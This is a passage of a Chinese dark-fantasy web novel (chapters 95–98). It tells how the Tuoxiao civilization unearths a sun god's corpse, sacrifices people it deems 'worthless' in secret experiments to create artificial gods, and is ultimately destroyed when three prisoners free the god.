大量的金钱入账，令近段时间来被搞得神经有些衰弱的城市调停者们一下子振奋起来，几乎瞬间就忘掉了自己心中曾翻涌着的辞职念头，转而对老板感恩戴德，开开心心地拿着奖金与日薪，回家休假了。 而这些人里，有一个城市调停者，名为崔西。 崔西是个在日常生活里有些马虎的人，因此，在回到家的当天晚上，她发现自己竟然把带给女儿的礼物忘在了工地。 那是一样非常难得的礼物——一个专门面向孩子的超数绘图的模型，是崔西花了好多时间才辗转购得的。 因为崔西的女儿曾经对她说过，说自己长大后也想要和妈妈一样，成为了不起的城市调停者，崔西感动之下，便找人定做了这个模型，当作女儿明天七岁的生日礼物。 可就是这样贵重的礼物，却被她落在了工地。 崔西心中懊恼不已，连忙赶回工地，连夜寻找起来。 但就当崔西终于找到礼物，从工地休息室走过白天挖好的巨型深坑，准备回家时，她脚步一顿，恍惚间好似从天坑底部听到了一些不同寻常的动静。 液体汩汩流动的声音，铁锹挖开泥土的声音，沉闷咳嗽的声音，含混咕哝的声音……它们那样远，那样轻，可听在崔西耳里，却那样近，那样重。 是什么呢？ 不知不觉的，崔西来到了深坑前。她趴在坑边，借着漆黑夜色的掩护，向下望去。 只见，在她的视线尽头，天坑里不知道什么时候多了一群最低级的劳工。他们点燃了煤油灯，埋头在坑洞底部挖着什么，身旁则是几个穿着神学研究院的学者袍的人。 “这里，对，就是从这儿挖，小心点……” “可以了可以了，1队和2队把铁锹放下，用刷子扫……” “这一队的来这边再挖深点，别怕，用力挖……” 奇妙的是，大晚上的，工地竟然还有另一队人在施工，并且这些人的声音，竟这样清晰地飘到了她的耳畔。 而更奇妙的是，除了神学院这些人指挥劳工的声音之外，崔西竟还听到了其它的声音。 “这些穿袍子的大人物就是事多，一下子用铁锹一下子用刷子，真是指挥上瘾了……果然不是他们自己动手干就不知道难处啊！” “真不知道为什么白天不挖，偏偏要大晚上的让我们连夜挖……嗐，反正他们出了钱，管它的呢！” “真好奇这下头是什么东西……什么东西埋这么深？” “滴滴哒哼哼哼，看我、呃，接下来的歌词是什么来着？” 混乱的声音冲入耳中。 有些似乎是真实真切地在耳畔响起，有些却古怪得如同崔西的妄想。 又或者…… 又或者这群人都是她的妄想？ 否则这个工地的主人为什么在花大价钱雇佣他们城市调停者挖开洞后，特意把他们遣开，又转头雇佣了另一群廉价劳工继续挖掘？ 这……合理吗？ 茫然之中，崔西感到思绪越发飘远，就如同灵魂抽离了身体。 但很快的，她回过神来，仔仔细细观察下头如蚂蚁一样在坑底来来回回的劳工们。 而看着看着，崔西突然感到了一道视线，看到了一张人脸。 一张在坑底铺开的，巨大而扭曲的人脸！ 是惨死的她自己的脸！ 而那张人脸……此刻正直勾勾地看着天坑上的她！ “啊！！” 崔西的理智在这一瞬间被无边的恐惧抽空！ 她大叫一声，脚下一滑，失足从600余米高的天坑摔落。 砰！ 沉重的声响过后，天坑下方多了一具碎成肉块的尸体。 但奇异的是，坑底的劳工们看着这具尸体，只是面色古怪地摇了摇头，并没有多加关注，直到神学院的负责人之一明淑华走上前，看着死相凄惨的崔西，微微摇头，神色如同怜悯，又如同叹息。 很快的，明淑华抬头说道：“来个人，把这里清理一下。” 附近的一个劳工听了，走上前来，表情有些局促：“教授，还是清理到老地方吗？” “对。没错，全都丢到那个角落里去，后面的也都是一样，不要每次都要等我的吩咐，知道了吗？” 这个类似于劳工话事人的在明淑华面前点头哈腰：“不好意思不好意思，我们就是人有点笨，但教授你的吩咐我们肯定百分百执行，以后肯定不会再让教授你跑来跑去了……来人，你，还有你，你们两个，过来干活了！” 两个被话事人点中的，是同样讷言的劳工。他们拿着手里的铁锹，走上前来，看着地上的肉酱脸色平静，很快就做好分工，一人开始铲土掩埋，一人去拉运输车。 但是，当明淑华离开后，这几个劳工还是不由得小声讨论起来。 “这都是第几个了？” “五个或者六个吧。” “你不觉得奇怪吗？这大晚上的，怎么会有这么多大雁摔下来？而且刚好落在这个坑里？” “谁知道呢。” “其实吧，我觉得，如果不是它们的肉摔太烂了，拿它们入锅加加餐倒是不错。” “野味你也敢吃？” “这有什么不敢……咦？这是什么？模型？欸，你看，你看这个模型，和我们之前在那个方向找到的是不是一样的？这个坑底哪来这么多一模一样的模型？就连摔碎的样子都差不多……喂，你就不觉得奇怪吗？” “快点干活吧。” “啧，行吧。” 第一天晚上，坑底的劳工们掩埋了九具大雁的尸体，找到了九个摔碎的模型。 第二天晚上，坑底的劳工们掩埋了九具猫头鹰的尸体，发现了九个撕碎的娃娃。 第三天晚上，九具知更鸟的尸体，九个碎裂的八音盒玩具。 第四天晚上，一百个廉价的劳工，悄无声息消失。 第五天早上，休假的城市调停者们回到了工地。 但敏锐的他们很快发现，五天前离开工地休假的人数是十三个，但五天后回来的，却只有十人。 有人试探着向不远处的神学院负责人明淑华小声问道：“崔西他们是……” 明淑华淡淡说道：“不太清楚，听说他们辞职了。” “哦……” 新上任的工地负责人连忙上前，笑着接过话头，道：“虽然我们现在的人数少了一些，但接下来第二阶段的工程，其实也不需要那么多人……更何况，在场的诸位城市调停者，都是百里挑一的优秀之人，都是业内出类拔萃的优秀工作者，所以人数这点小事，对大家来说肯定不是什么大问题的，对吧？” 问话的人被这样大肆吹捧，却只是尴尬一笑：“这、呃，其实不是我们推脱，实在是你们要修建的地底建筑，还是太大了点，我们觉得如果来修建的人数更多的话，我们一定会——” 工地负责人：“对了，我们老板说，在场各位的日薪，按你们平时工资的五倍结算。” “我们全都没有问题！” 这一刻，工地负责人与城市调停者们相视一笑，每个人脸上都是笑容，每个人的表情都很满意。 只有明淑华垂下眼，神色冷漠。 第二阶段的工程开始了。 一个月后，第二阶段的工程结束。 一个大型生物研究所在地底正式建成。 又一个月后，十名带着高薪回家的城市调停者，和所有曾在这个工地工作过的人，都以各种各样的方式陆续消失、人间蒸发。 与此同时，托肖文明的高官们、神学研究院的学者们，与生物与前沿医疗技术相关的各行各业，都在某个夜晚来到了这里，站在了十三层密闭的观察台上。 而被放在观察室内，接受他们或惊叹或震撼又或不可思议目光洗礼的，是一具巨大尸骸—— 太阳神托肖的尸体。 是在他们挖穿了九层冥府、付出了无数死亡代价后，终于得到的太阳神托肖的尸体！ 于是，从这一刻起，一个新的计划——【再造文明】计划，又或者说是【再造神族】计划，开始了。 第96章 秘闻（三） 很少有人能真正…… 什么是【再造文明】或者说是【再造神族】计划？ 很少有人能真正回答得上来这个问题。 对于大多数研究者来说，他们以为自己所投身的，是一个为了让文明能在灭亡阴影的追逐下成功逃脱的伟大项目。 并且，无论是政府的宣传还是神学院的说法，也都是如此：你们正在投身一项伟大的事业，你们正在为了整个托肖文明而战。那些在手术台上、在治疗病院里的牺牲者，也全都是为了托肖文明的延续而自愿献身的！ 一切都是文明的延续。 一切的牺牲都是有价值的！ 可是，安善文并不这样想。 安善文是一个很普通的聪明人。 之所以这样说，是因为她虽然比一般人要聪明，在学校努力读书时也曾名列前茅，但这样的聪明又远比不上真正的天才。 而在加入神学院后，她的专业能力也非常优秀，任何由上级吩咐下来的事她都能完美完成，但唯独没有自己独立完成一个惊艳项目的能力。 ——成不了领头羊，却是一个非常好用的牛马。 这就是安善文的定位。 所以，当她的上级、同时也是她的导师明淑华，在受政府邀请加入【再造神族】计划后，明淑华非常自然地将她安善文的名字也写入了进去，甚至只随口提了一句，就当是询问她这个牛马的意见。 “有一个秘密计划你要加入吗？薪资不错，计划结束后积累的功勋也很高。” “哦，好的。” 就这样简简单单的两句话，开启了安善文长达二十年的噩梦。 在此之前，安善文从没有想过有哪一个项目会吞噬这样多的生命！ 最开始时，被送进实验室的，还是一些性命垂危、每天都要花大量药物吊命的病人。 导师明淑华告诉她，这些病人已经没救了，也再也难以忍受病痛的折磨了。但为了托肖文明的未来，他们依然自愿与政府签下了协议，将自己的身体捐献给实验室，只要求给他们家人一笔钱。 安善文只是点头，牢牢闭上嘴巴，不敢做出任何评价。 可慢慢的，被送进实验室的病人，从性命垂危的重症病患变成了中症病患，最后又变成了没有任何疾病，而只是单纯的“无价值”之人。 但是，什么是“无价值”之人？ 这个很难说。 上面的人说你“无价值”，你就是“无价值”的。 所以，在这个实验者变化的过程中，安善文也从一开始的心怀不忍，变成了后来的视若无睹。 这并不是安善文认同了那些狂热的价值观，而是因为她清楚知道自己没有同情他人的余地，知道自己只要敢提出异议，那么“无价值”的人就会变成自己。 安善文向来识时务，所以她从来不多说任何一句话，甚至从来不深究那些实验的目的，也不探究实验的数据究竟流向了何方、最后会为什么人服务。 安善文知道，一个人的力量是极有限的，而想要凭自己一个人的努力就掀翻规则、改变制度，更是异想天开。 她或许算得上聪明，但到底只是一个普通人，所以她唯一能做的，就是顺应规则，在规则里管好自己、活出自己的人生，对自己的人生负责。 是啊，人生不过短短百年，努力过好自己的人生就够了，为什么还要去同情别人？ 每个人的命运与因果，都是他们自己亲手种下的，所有试图改变他人命运的人，都是在试图承担他人的因果。 这是一点都不理智，并且狂妄自大、不自量力的行为。 所以，当她的导师明淑华突然失踪、一连数个月都没有消息时，她只是随口问了一句“明老师是不是很久没来实验室了”，并得到一句“不用管她”后，就真的撂开手，再也没有提过。 所以，当安善文突然发现，被送上实验台的实验者中，一个模样眼熟的孩子有一个一个熟悉的名字时，她主动避开了那个孩子的目光，直到实验结束后都再也不曾进去过。 所以……在导师明淑华失踪的两年后，安善文却在新一批的“志愿者”人员名单上重新看到这个名字时，一切似乎也都理所当然。 当外界沉痛宣告，神学界的泰山北斗、奠定了近代神学基础的学者明淑华正式死亡的那一刻，安善文在地底的实验室里拿起手术刀，亲手解剖了自己导师的尸体。 当全国都为了明淑华而哀悼，就连路边的商贩也主动换上了黑白装饰时，安善文也终于从导师的尸体里得到了实验的真相，以及导师最后的选择。 在明了一切的瞬间，安善文不由得想，或许世上真的有些人，是生时灿烂夺目死也轰轰烈烈的。 这些人就像是流星一样，当其出现时，光辉灿烂，势不可挡，而哪怕要消散了，也必然要在天空留下一道不可思议的光芒之后，让所有人都留下对她的向往与缅怀。 只可惜，她安善文不是星星，也不是月亮或太阳。 她只是一个普通人。一个精彩故事里作为背景板的路人甲，一段神话传奇中作为英雄点缀的路边石。 她唯一的成就，或许就是在这座地下实验室里坚持了整整二十年，直视了这个实验室最后的故事、最深的秘密，好在她死后，将这所有的秘密托付给能够托付之人。 全心：“所以，秘密的真相，究竟是什么？” 秘密的真面目，也就是这座地下实验所指向的秘密，共有三个。 其中，第一个秘密是天上与地底的两个“太阳”的真相。 就如同全心之前注视“太阳”时从灵感中获取的信息一样，许多许多年前，在创世神胡拉坎创造了众神后，众神害怕自己也会如之前的造物那样，被创世神毫不留情地抛弃，于是决定先下手为强，杀害创世神。 他们在一场酒宴上，趁着创世神醉酒，偷偷砍下创世神的头颅，令祂失去视力与思考；接着他们又砍下创世神的手脚，令创世神失去武器与反击之力；最后，他们将创世神挂在天上，让太阳神用烈焰焚烧那具尸体，彻底断绝了创世神死而复生的可能。 这是一场每一个神族都参与了的集体谋杀。 除了创世神胡拉坎之外，没有任何一个神族在这场谋杀中受到伤害。 可是，奇怪的事发生了。 随着创世神的死亡，离奇的死竟也接二连三地降临在众神身上。 当一个又一个的神灵从天空陨落，当一个又一个的文明在地上繁荣昌盛、歌颂神灵的伟力时，被歌颂的众神却正被无边的恐惧笼罩。 他们不顾得地上的生灵，只上天入地地寻找一个能逆转生死、让神灵永不陨灭的方法。 并且，他们也很快有了头绪—— 九层冥府。 那个汇聚了创世神所有造物灵魂的地域！ 既然生者进入冥府后会死去，那么死者离开冥府后，是否就能活过来？ 留下这样的猜想后，众神冲入了冥府。 没人知道冥府下究竟发生了什么，只知道从此以后，关于九层冥府和善恶果报的传说越来越少，直至消失。 而随着时间的流逝，万万年过去了。 突然有一天，太阳神托肖——那个最后一刻才选择冲入冥府的神灵，祂的声音终于从地底残破的冥府传出，来到地面，在祂血肉化作的某一个造物的耳畔停留，降临那人的梦境。 【来找我……】 无尽耀眼夺目的光芒里，那位神灵的声音充满蛊惑。 【解开我的禁锢，复苏我的神躯……我可赐予你无上荣耀！】 梦醒了。 梦到了不可思议之物的托肖人蓦地惊醒，大口大口地喘气，心脏跳得几乎要从胸膛里蹦出去。 他本以为这只是一个离奇的梦而已。 直到他发现自己手上出现了太阳执行人才会有的太阳印记，明白了自己竟然真的是那个“神选之人”！ 而这个人，叫做任善仁，手里有一个快搞砸了的小药厂。 而这个小药厂，名为新世界生物科技。 第97章 三个秘密 【你——才是真正…… 在获得真正的神启后，任善仁当然有想过独吞这个秘密、成为太阳神托肖唯一的神选之人。 为此，他砸下了自己手里所有的钱，买下了太阳神托肖神躯的埋藏之地。 可之后的事大家都知道了，从破碎冥府中溢出的死亡和诅咒，不是凡人能够轻易抵御的，因此，任善仁不得不将这个秘密上交给政府，换取政府的庇护，以及神学院的合作。 而这，也是天坑之下枉死者众多，外界却一篇报导一点风声都没有的原因。 “那么，第二个秘密呢？” 第二个秘密，是【再造文明】项目的曲折来历与真相。 当时，在政府和神学院联手挖掘太阳神托肖的神躯之初，他们的确是准备按照太阳神所说的那样，为他重塑神躯、为他复□□耀的。 毕竟，太阳神托肖才是他们托肖人的真正造物主。 只有太阳神托肖越发荣耀辉煌，他们托肖人才能如同胡拉坎点化的神族那样全族飞升，不是吗？ 然而，人心的贪婪欲望实在是最可怕的魔鬼。 当九层冥府被托肖人挖开，它的第一波诅咒化作瘟疫，在托肖文明内部疯狂扩散时，当时还是一位普通学者的明淑华，在鬼使神差下提出了一个比瘟疫更疯狂的提议： 如果一定有人会因为冥府的诅咒而死亡，那为什么不让那些对社会无用的人去死，而留下那些有用之人呢？ 比如说科学家，比如说学者，比如政要，比如说富商。这些都是对社会贡献极大的有极高价值的人物。倘若他们死去了，那对托肖人对托肖文明来说，都是多么可惜的事啊！ 所以，为什么不让那些流浪汉、残疾人、低级劳工、可被AI替代的低级文员、乃至是只会占据社会医疗资源的重病患者，让这些无价值之人替代那些有价值之人死去呢？ 就像是剪枝。 抛弃那些无价值的、拖后腿的累赘，保留下有价值的、有贡献的枝干，既减轻了政府的负担，又优化了文明的运行方式，令整个社会、文明与政府，都越发地欣欣向荣，辉煌灿烂。 这是多么美好又一本万利的事啊！ 不仅提出这个建议的明淑华是真情实感地这样想着的，所有听到这个提议的人也都是这样真情实感地想着的。 因此，在明淑华的主持下，一场大型的诅咒转移仪式开启了。 最开始，他们还需要用高薪的工作、劣质的骗局，筛选出那些容易受骗、智力低下没有发展前途的人，将这些无价值之人骗到埋下了诅咒分流仪式的封闭园区里，关押起来，之后再定期进去清理死者的尸体。 可后来，随着九层冥府一层层面世，死亡的诅咒一次又一次地向外扩散，项目的人们也懒得一批一批地将无价值之人骗来了，而是采用了以一带多的模式。 以“高薪”“分红”“提成”为诱饵，让第一批被骗的人主动打电话给他的父母、亲朋好友、甚至是去诈骗也好，只要他们骗进来更多的人，他们就会有更好的待遇，更高的“工资”。 这实在是一个拙劣至极的骗局。 可就是有那么多人一批一批地上当。 而更不可思议的是，那些遭受了深切诅咒、后又因诅咒转移而存活下来的人，很快发现自己身上出现了或多或少的神奇之事。 比如说—— 返老还童。 多么不可思议啊！ 在这个人人都拥有或多或少超凡力量的人的社会里，寿命与衰老却是他们始终无法攻克的可怕难题。 他们或许出生是不平等的，生命是不平等的，价值也是不平等的，可衰老与死亡，这两样事却始终对所有托肖人一视同仁。 但如今，可怕的事发生了。 死亡与衰老，这两样托肖文明中最后的平等，竟也似乎被攻克了下来，并且是通过那样诡谲的手段：冥府诅咒！ 只要去获取冥府的诅咒，再将这个诅咒转移给无辜的人，让无辜之人代替自己死去，那么自己就能重获新生。 所以，如今，思考一下吧。 托肖人究竟在无意中开启了一扇多么恐怖的大门？ 再思考一下吧。 为什么高高在上的太阳神托肖，竟然放心地将复生希望托付在一个力量渺小的人类身上？ 这是不是因为众神早已死去，而太阳神托肖也再没有了可托付复生的神？ 也是不是因为，太阳神托肖的复生，根本不需要任何外在的力量，而只需要……祂从冥府走出来？ 如同人类从冥府诅咒里走出来一样？ 是啊，为什么不呢？ 既然走入冥府的神与人会死亡，那么从冥府走出的神与人，又为什么不能复苏呢？ ——永生不死！ 这个连众神都不确定的、被小心隐藏起来的永恒课题，此刻终于彻底暴露在了托肖人的眼前。 虽然，如今的九层冥府已经破碎，所谓的“走出冥府”似乎已经难以做到，可冥府诅咒却依然与冥河之水伴生。 只要他们找到更多的冥河之水，用更多的人转移诅咒，他们就可以令一些人实现永生不死了，不是吗？ 这一刻，一股难言的贪婪欲念开始在托肖人的心中滋生。 而他们的思绪也越发飞散。 试想一下吧，如果神会与人类一样，都会死去，都会试着闯入冥府、寻求永生，那么祂们除了强大的力量之外，与人类又有什么区别？ 凭什么祂们生来要在云端，作为世界和人类的主宰？ 而假若神与人的区别真的没有那样大，那人……人又为什么不能取代祂们呢？ 因此，当托肖人挖穿了九层冥府，挖掘出了太阳神的残躯，套取了当年众神冲入冥府的真相，得知托肖人其实是太阳神的血肉跌落大地后自行演化的造物后，托肖人心中生出了一个大胆的念头： 既然太阳神的残躯都可以“复生”，可以重新成为天上的神，那么同为“血肉”的托肖人为什么不行？ 托肖人凭什么不能取代太阳神，成为真正的神族？ 如果，这个世界真的需要神，那么这些神，也只能由他们托肖人自行指定！ 所以，要让太阳神的残躯永远停留在九层冥府之下，要让太阳神永远不可“走出”冥府，要让世上，在没有他们不可控制的神！ 于是，名为【再造文明】，实为【再造神族】的项目开启了。 他们以整个文明之力，制造出了“囚神狱”这个牢笼，将太阳神的残躯死死困在九层冥府的旧址之下，并在负六层的位置灌入了冥河之水，复刻曾经九层冥府的模样，誓要将太阳神永久镇压。 与此同时，他们还埋首于人体改造和血脉提炼，试图凝聚托肖人血脉中的那一丝天然神力，也试图将神的血肉植入托肖人体内，看其变化。 但是，这个项目的进度实在缓慢，再加上这个破碎的九层冥府中竟还遗落着陨落的众神的诅咒。 因此，他们很快又在研究所的上方加盖了一座神学研究院，既是用来掩人耳目，掩盖神力引发后的动静，也是为了让神学院的活人分担众神陨落冥府后的怨念。 而至于这些逸散的怨念会对神学研究院的人造成怎样的精神影响，让他们受到怎样的刺激，那就不是很重要了。 最多再在地底研究所建一个治疗病院，增加一点研究素材罢了。 又后来，时间一年一年过去，随着研究进度的一步步前进，【再造文明】项目的研究者终于发现，真正优秀的素材，原来并不是那些“有价值”的人，甚至也不是长年浸染在神学研究里的学者，而是被认为“无价值”的基因病人。 许许多多奇怪的基因病人，比如说日灼病，月融病，火消病，舞蹈病，等等，其实都是因为他们基因中写着神力的那一段代码出现了极突出的异变或者说进化，而偏偏他们虚弱的肉身又无法承受这样强大的神力，这才成为了各式各样的“病人”。 换而言之，只要找个办法，将这些病人体内过分强大的神力引导出来，训练他们、让他们适应和使用这份力量，他们就会以飞快的速度从“无价值的病人”成为极优秀的“有价值”的人。 可是，托肖政府的高官政要、财阀寡头们想：为什么他们要做这样费心费力的事呢？ 把这些走路的资源抓起来，控制他们、研究他们，夺取他们的身体，甚至把他们当做提升神力的补丸吃掉，不是更好吗？ 他们之所以这样亵渎神灵、剖析神力，苦心研究取神而代的办法，可不是为了给他人做嫁衣裳的。 如果真的有人要因为这份远超常人的力量成神，那么成神的也绝不该是那些无价值的基因病人，而应该是他们这些为了社会、为了种族、为了文明操心劳力的人才对啊！ 于是，在这样的意志驱使下，本该因基因病的新发现而成为文明新星的“基因病人”，依然保持着他们“无价值之人”的身份，并逐渐成为了某种抢手货物，在不可示人的市场上暗暗流通。 而被这场风暴裹挟其中、作为货物流通的一个孩子，就叫做明仪，她还有一个身份显赫的母亲，叫明淑华，只不过在这个市场上，显赫的身份只会为她按下死亡的快进键。 因此，当明淑华按照政府的指示，为他们找来了更多的冥河之水，以及更多的冥府诅咒时，她竭力想要保护的女儿却早已经在手术台上被扒了皮，抽干了血，从血肉到骨骼乃至是每一根头发丝，都被细细摘下，小心封存，成为了一段冰冷的研究数据。 这无疑是一个人身上发生的极可怕的灾难，如同一座巨山倾倒而下，压在一个人的肩头。 但个人肩头上的山，却不过是时代的一粒细沙而已，所以，很快，这座山连同那个人，都被风暴吹走了。 明淑华死了。 她的死对托肖文明来说是有价值的，因为她带来的冥河之水与冥府诅咒，为一些本该死了的人争取了更多时间，而她女儿的死也同样是有价值的，因为她为那些人提供了一条关键的基因数据。 所以，两人死后的没多久，第一位人造神登场了，踩着无数人的尸骨，走到了天上。 这时，人造神的技术还不够完善，神的力量也没有想象的那样强大。 因此地下研究所的众人还在持续改进，甚至抓了许多比基因病人突变得更好的“文明新星”关押在负六层、也就是特殊监狱里，当作备用素材。 于是，在整个文明资源的倾力灌注下，第二位、第三位、第十位、第十七位神，出现了！ 他们陆续脱去了他们政要、财阀、寡头的人类外皮，成为了高不可攀的神，拥有了真正强大的力量。 至此，离明淑华的死亡，已经过去了半个多世纪。 就连告诉了全心这个秘密真相的安善文，都已经死去多年。 还好，在这之后发生的事，已经不算是秘密了。 这些人造神们隐忍多年后，花了整整十年的时间造势，令所有人相信“众神即将归来”，接着又花了十年的时间观察太阳执行人，测试他的服从性——显然他们对此并不够满意。 因此，在“回归”后，这些新神很快找了借口，将太阳执行人投入监狱，而后再无顾忌地站在天之上，肆无忌惮地享受他们永不结束的一生，成为了那个永不坠落的支配者。 可是，当一个文明的头上站着数个永生不死的支配者时，不就代表着这个文明已经失去了活力与变化、失去了改革和进取，更代表着它已经走到尽头了吗？ 全心无疑也明白这一点。 她沉默片刻，问道：“那么……第三个秘密呢？” 安善文轻轻俯身，在全心耳畔窃窃低语。 【第三个秘密是——】 【明教授有打开囚神狱、释放太阳神躯的办法。】 那是明淑华燃烧了自己生命的最后一截路程，接受了无数改造实验而顽强不死后，探查出来的办法。 她将这个办法写在自己的尸体离，留给了她最好的学生安善文。 但很可惜，安善文并没有拼死一搏的勇气，也没有扭转乾坤的机会。 【而那个第一个开口与你搭话的城市调停者朋友，有扭正空间数据，打开地下监狱的空间传送、逃脱这里的办法。】 【全心，你是这么多年来唯一一个集齐了所有的秘密与机会，天时与地利的人。你可以打开囚神狱，让太阳神复活，让祂击落天上的那些伪神！】 【你是唯一一个有可能挽回这一切的人。】 【你——才是真正的神选之人！】 全心沉默不语，思考了三天三夜。 然后，她以最冷静果决的姿态，否定了安善文，否定了这个简单的救世计划。 “不对，不是这样的。我固然可以释放太阳神躯，让太阳神复活、击败那些伪神，可被托肖人囚禁了这样久的太阳神，又怎么可能在事后放过我们托肖人？” 【但除此之外、除了把希望寄托在太阳神和伪神们两败俱伤这件事外，我们又能做什么？你又能做什么？】 全心轻轻说：“神血改造。就和天上的那些伪神们一样，再造一个有着更强大力量的新神不就好了。” 安善文讶然。 【你的身体怎么可能承受神血的改造？你知道那些伪神们用了多少资源和能量，才让他们挺过神血的排异吗？你知道那些被他们吞下的人丹数量有多少吗？】 “我知道，所以我准备让另一个更合适的人——一个更强大也更坚忍的人，去接受这次的神血改造，去挽回这一切。” 全心指向了南陆的牢房。 “世上最穷凶极恶的无辜者，最不可饶恕的太阳。” 第98章 终局 “剩下的，就交给我吧…… 这就是那个囚禁了太阳神残躯无数年的囚神狱，突然打开的真相。 也是太阳执行人南陆从特殊监狱中脱离的办法。 更是托肖文明走向毁灭的全部前置条件。 哪怕那些伪神的力量本该在当前文明进程下举世难敌，而那些人上人的势力也本该是如天网密布，所以理论上来说，这些人本不该落得这样下场。 可命运就是如此奇妙。 随着一个世纪的时间过去，当那一个个曾经无关痛痒的死亡、一个个不足轻重的灵魂，以常人无法想象的方式站上了命运天平后，那些渺茫微弱的力量一点点汇聚，最终聚沙成塔，在某一天彻底压垮了那些天上的支配者们，也毁灭了这个文明的一切！ 这个过程如此漫长、曲折离奇，却又如此理所当然，让颜辞云这个机缘巧合下旁观了全部过程的外人，只剩下叹息而已。 不过，要让颜辞云评价这个托肖文明发生的这一切事件中，到底哪个事件给颜辞云留下的印象最为深刻，那么颜辞云绝不会说是太阳执行人南陆举起太阳神矛刺向天上众神的那一幕，也不是全心了解天上“太阳”的真相的那一幕，更不是穷途末路的理想主义者楚佩雯化作暴烈侩子手亲手执行正义的那一幕。 而是全心与楚佩雯一块儿出现在南陆的梦境里，劝说这位太阳执行人正式加入她们阵营的那一幕。 说实话，颜辞云本人并不是一个多么相信命运的人，但不得不说，在这三人结盟的那一刻，颜辞云总感觉有一种说不出的命运感。 而至于楚佩雯是怎样出现在这个结盟里的？ 这还要从楚佩雯的记忆说起。 颜辞云在翻阅灵魂记忆时，第二个翻到的就是楚佩雯的记忆。而在楚佩雯的记忆后半部分，本该被隔绝在无音室的全心的声音，竟然突兀出现在了她的耳畔—— 【是啊，这里就是地狱，所以楚佩雯，你想要逃出这个地狱吗？】 【你想要毁灭这个地狱，重塑人间吗？】 当时，不仅记忆的主人楚佩雯被吓了一大跳，就连观看记忆的颜辞云也被吓到了。 而正是因为如此，颜辞云在这之后才能那么准确地从一大堆灵魂中找到真正改变这一切的关键人物，全心，而后从全心的角度，看到了更多的信息。 原来，全心最开始并没有将楚佩雯列入自己的计划里，因为全心需要的是一把无坚不摧的武器，一个能成功接受太阳神神血改造的人。 楚佩雯无疑是不符合条件的，因为她早已经被圣物附体——也就是当年众神陨落后遗失在人间的神器。 楚佩雯被神圣天平附体后，好处是她肉体躯壳难以被外力毁灭，哪怕是托肖文明，也只能用注射麻药的方式将她困住，而无法将她毁灭。 可是，这件事也有坏处，那就是被附身的神圣天平窜改了自身基因的底层代码，令本该同为太阳神后裔的楚佩雯与太阳神血肉的兼容性变得极低。 所以，楚佩雯最开始并不在全心的计划里。 而让全心不得不找上楚佩雯的原因，是南陆那边发生的意外——他意外地难以合作。 作为被当作工具使用了十年又惨遭抛弃的倒霉鬼，这位曾经的太阳执行人在被关入牢狱后，竟完全不想要报复众神、完全没想要脱离监狱，更是完全不关心外界的人间会在众神的统治下最终变成什么模样！ 全心惊呆了。 她难以理解！ ——怎么会有人不关心世界、不关心人间呢？ 但颜辞云倒是挺能理解的。 毕竟，有问题就是这样说的： 为什么文艺作品里拯救世界的人往往是初中生和高中生，而不是上班族与可靠的成年人呢？ 答案是，上班的社畜听到世界要毁灭了只会说“还有这种好事”。 虽然这个答案有所偏颇、更倾向一种娱乐性的回答，可不得不说，它内里还是有一定道理的。 别看提出同盟计划时的全心已经快要四十岁了，而南陆才三十出头，但前者从十三岁起就被关在了无音室里，不缺吃穿，不必工作，不愁明天。 她对外界的一切消息的接收，都是来自自己的鬼魂朋友们，所以她对世界也好工作也好人生也好，其实都没有太深刻的体会。 而南陆却是实实在在地“工作”了整整十年，并且干的还是侩子手这个工作。 一个天天负责终结他人性命的人，如何会对“未来”有所期盼？ 当然，南陆或许也是曾经试着反抗过的，但他就像是从小被锁链栓住的大象。 对于局外人来说，他们很难理解一条不到拇指粗的小链条，是怎样拴住一头力大无穷的成年大象的。 可驯养人明白，大象也明白。 更何况，南陆本身就不是一个多么有信念感和正义感的人，而他自始至终都对托肖文明、对统治了托肖文明的狂热“价值”观念，没有丝毫归属感。 就像是被驯养在马戏团的大象到底还是大象，哪怕它与人朝夕相处，也终究并非人类。 ——大象怎么可能关心人类文明的结局？ ——被消磨殆尽的对未来的希望，又怎么能轻易拾回？ 因此，全心的救世同盟计划，在南陆身上折戟沉沙，其实是非常正常的。 而同样的，当全心在劝说南陆失败后，又转头向她见过的最有正义感和信念感的楚佩雯求助，希望楚佩雯能帮忙劝说南陆，也是非常正常的。 就这样，在无数鬼魂朋友们的帮忙和长达三个月的拉锯战下，全心、楚佩雯和南陆三人，终于正式确立了救世同盟。 之后，全心负责利用鬼魂朋友们留下的漏洞，从囚神狱偷渡神血给南陆使用，强化力量，同时拦截下楚佩雯牢狱中的麻醉气体，给楚佩雯留下恢复身体的时间。 三个月时间一晃而过，很快的，三人决定逃狱的那一天到来了。 全心、楚佩雯和南陆三人，都为此做了许久的准备。 三人决定，要趁天上众神力量最衰弱的时机，打开囚神狱，让太阳神残躯离开这里。 当太阳神的残躯自下而上地离开这个曾经是冥府的地域时，祂必然达成“从冥府深处升起”这样的概念，从而完成复生的仪式——一个复活的太阳神，这绝对能够吸引天上那些伪神们的全部注意和火力！ 而在这位太阳神的“掩护”下，救世同盟的三人则可以趁机逃脱，在外界一边蓄势，一边静待天上神战的发展。 最后，当神战进入白热化的阶段时，同样得到了神的力量的南陆，就可以乘此时机，终结天上的所有伪神与真神，而全心和楚佩雯，则会在地面上拨乱反正，利用神圣天平的力量，裁决所有的罪恶之人，重塑这个走入了歧途的文明！ 一切都计划得很好。 一切都都似乎带着无穷希望。 可意外在囚神狱开启的第一时间就发生了—— 那具太阳神的残躯，竟然没有趁着囚神狱开启的时机离开这个“冥府”，去完成祂渴求已久的复生仪式，而是径直冲入了月阴室，与南陆融为了一体！ 这是谁都没有料到的未来。 是谁都没有预见到的意外！ 因此，在这之后的一切都再度混乱了起来。 作为月阴室核心的月亮宝珠破碎，月亮神力疯狂蔓延，石化了负六层的一切生命。 同为救世同盟的全心和楚佩雯第一时间被泄露的神力抹杀，而失去了指引与缰绳的南陆则消失在了特殊监狱。 当南陆再次出现在外界，驾驭着日之车向天上的众神宣战时，那个站在日之车上的，究竟是吞噬了太阳神残躯的南陆，还是融合了南陆的太阳神？ 当【南陆】向天上的众神宣战时，他究竟是怀着太阳神对自己造物胆敢反叛祂的暴怒，还是想要完成他最后的两个朋友的遗愿？ 谁都不知道。 所有人——包括如今的颜辞云，唯一知道的是，在【南陆】向天上众神宣战的两年后的现在，无数神灵陨落，就连负责支撑天空四角的四位天空巨人都死去了。 天空倾塌，大地破碎。 人之不存，文明焉附？ 这个世界的一切，都在无常的变化下，走向了对任何人都没有好处的最坏结局。 谁都不会想要这样的结局。 但谁都挽救不了。 所以，最后的最后，如果这个世界还会有后来者、还能有人从尘埃和废墟中挖掘出这一段历史的话，他们或许会在唏嘘中将这样的无奈与结局统称之为“命运”。 